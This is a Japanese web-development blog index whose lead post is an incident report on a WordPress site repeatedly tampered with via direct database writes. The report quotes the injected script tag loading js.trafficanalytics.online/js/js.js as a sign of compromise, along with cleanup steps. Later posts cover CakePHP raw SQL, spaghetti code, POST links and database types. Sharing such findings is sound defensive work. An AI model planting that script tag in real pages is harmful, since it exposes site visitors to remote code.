2017.01.31 (Tue) Category : Blog Author :

サイト改ざん案件(報告)

最近サイト改ざんの対応案件が立て続けに入ったため、同じ被害に合わないために情報共有をします。

今回見つけたのは、以下のスクリプトをscriptタグで自動実行させるプログラムです。

wordpressのとあるページに埋め込まれていました。

”js.trafficanalytics.online/js/js.js”

 

侵入手口から推測すると

  1. wordpressのアカウント奪取
  2. FTPアカウント奪取
  3. DBアカウント奪取
  4. SSHアカウント奪取
  5. ミドルウェアのセキュリティホールをつく

これらのうちどこかのアカウント、セキュリティホールを利用してログイン、もしくはスクリプトを実行しているのではないかと思われます。

 

症状

wordpressのとあるページに

<script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script>

というコードが埋め込まれます。
同じコードが同じ場所に連続で埋め込まれていました。

連続で埋め込まれている(規則性がある)というところを見るとなんらかのプログラムされたものによって書き込まれていることが推測されます。
人為的な改ざんではないと考えられます。

さらに、wordpressでは、ログインページからログインし、記事やページを編集した場合はリビジョンを付けて世代管理されます。
世代管理されている状態をみるとその内容は3年前に変更されたということになっていました。

まずは、前の正しい状態に戻しました。

数時間後。。。

またもや改ざんされていました。
今度は、過去のリビジョンもすべて改ざん対象となっていました。
しかも日付は変更されていません。

このことから、直接DBに書き込んだことがわかります。

ということで、DBにログインしてユーザ情報を見てみたところ
すべてのユーザがパスワード無しでアクセスできる状態となっていました。

この設定をちゃんとし、
もちろん既存のユーザはすべて削除し、新規に追加。

パスワード設定しなおしました。

ここで解決ではありません。

どうやってDBにユーザを作成したのか。
そこが問題です。

ということは、
ミドルウェアのセキュリティホールが怪しい。

さらに、apacheのerror.logが参照できたので覗いてみるとmod_wsgiに対してかなりの数の攻撃がありました。おおよそここが原因ではないかと考えます。
普通にapache運用しているとmod_swgiなんて入れないんですがどうやらそこのレンタルサーバーやさんのコントロールパネルがphthonで動作するらしくそのために入っているっぽいです(推測)

とりあえずなんとなく原因がわかったのですが、
また攻撃されるかもしれません。

できる対応とすれば、残りは、FTPのパスワード変更です。
SSHもあればパスワード変更。

それでも改ざんされるようであれば、セキュリティホールを突かれているとしか考えられないので、おおよそmod_wsgiであ廊下と思います。
こうなればサーバー事業者に相談するしか方法はありません。

調査依頼ありましたら、ご相談に応じます。


2016.12.16 (Fri) Category : Blog Author :

cakephp3 SQLを直接入力し実行するには

SQL
データベースを実行するやり方は、色々存在します。その中には、直接SQLのコードを入力し実行するというやり方もあります。やはり、内容が複雑であればあるほどややこしくなり、直接SQLを入力したくなる時がありますよね。

ということで、やり方は以下の通りです。

use Cake\Datasource\ConnectionManager;
$sql = 'SELECT * FROM hoge WHERE hoge=1';
   
$connection = ConnectionManager::get('default');
$results = $connection->execute($sql)->fetchAll('assoc');

 


おまけですが、Cakephp2でも直接SQLを入力することができるみたいです。ですが全く記述の仕方が異なりました。

$this->Timelog->query('SELECT * FROM hoge WHERE hoge=1');

え、うそ
これだけ?( ゚Д゚)

 

実際、cakephp2の方では上記のコードを使用した動作確認をしていないため、上記のコードで動く確証はないのですが、cakephp3とcakephp2とではまったく仕様が違うなと、たびたび実感する私です
(´・ω・`)

2016.12.09 (Fri) Category : technology Author :

スパゲッティコードとは

 

スパゲッティ

スパゲッティーコードとは、流れ・構造が理解しにくいソースコードのことをいいます。

スパゲッティーの麺はどのように繋がっているかわからないですよね。

まさにスパゲッティーの見た目のまんまから名前がついた感じです。

 

このブログ内容を書くきっかけになったのは、まさに以前

スパゲッティーコードだね

と言われてしまったからですね。

私のソースコードは、よくスパゲッティーになっちゃいます。。(^^;

やはり、わかりやすいコードでないとエラーが多発した際など、スムーズに対応ができなかったりします・・・・・・はい、以後気を付けます!!

そして、きれいなソースコードになるとすっきりして気持ち良かったりもします!!皆さんもスパゲッティーコードになった際には、ほどいてあげるといいかもしれませんね(^^)/

 

 

もし本物のスパゲティの方をほどいてまっすぐにしたら、どうなるんだろうか・・・( ;´Д`)ノ~~~~~~←スパゲティ

2016.12.02 (Fri) Category : HTML5,Javascript,technology Author :

PHP リンクからPOSTデータを渡すには

data

使用する場合と致しましては、、

リンクのデザインを保持したままPOSTデータを送信したーい!という時に使っちゃいます。

(ボタンを使用しない)

 

(例)index.phpへ送信する場合


<form name="form1" method="POST" action="index.php" >
<a href="javascript:document.form1.submit()">Submit</A>
<input type="hidden" name="hogehoge_status" value="1">
</form>

普通にformでかこってあげます。

そして、リンクの<a href =””>のなかにJavaScriptの処理をいれることで

リンクをクリックすると同時にPOSTデータを送ることができます。

2016.11.25 (Fri) Category : Blog,SQL,technology Author :

データベースの種類

DB
データベースにはさまざまな種類があります。
リレーショナル型データベース(RDBMS)

階層型データベース(HDB)

ネットワーク型データベース(NDB)

キー・バリュー型データストア(KVS)

カラム型データベース

 


そして、よく使用されるデータベースはRDBMSです。

RDBMSのソフトウェアの種類

  • MySQL
  • PostgeSQL
  • Microsoft SQL Server
  • Oracle DB
  • Informix
  • DB2

 

オープンソース:「MySQL」「PostgeSQL」


 

*RDBMSの特徴*

RDBMSはSQLを使用します。

SQLは、ISOで言語仕様の標準化ができているため、基本的なSQLを覚えておけば各種のRDBMSを扱うことができます。

※ただし、ベンダーごとに独自実装されている仕様もあります

 

 

1 2 3 4 5 6 104
%d人のブロガーが「いいね」をつけました。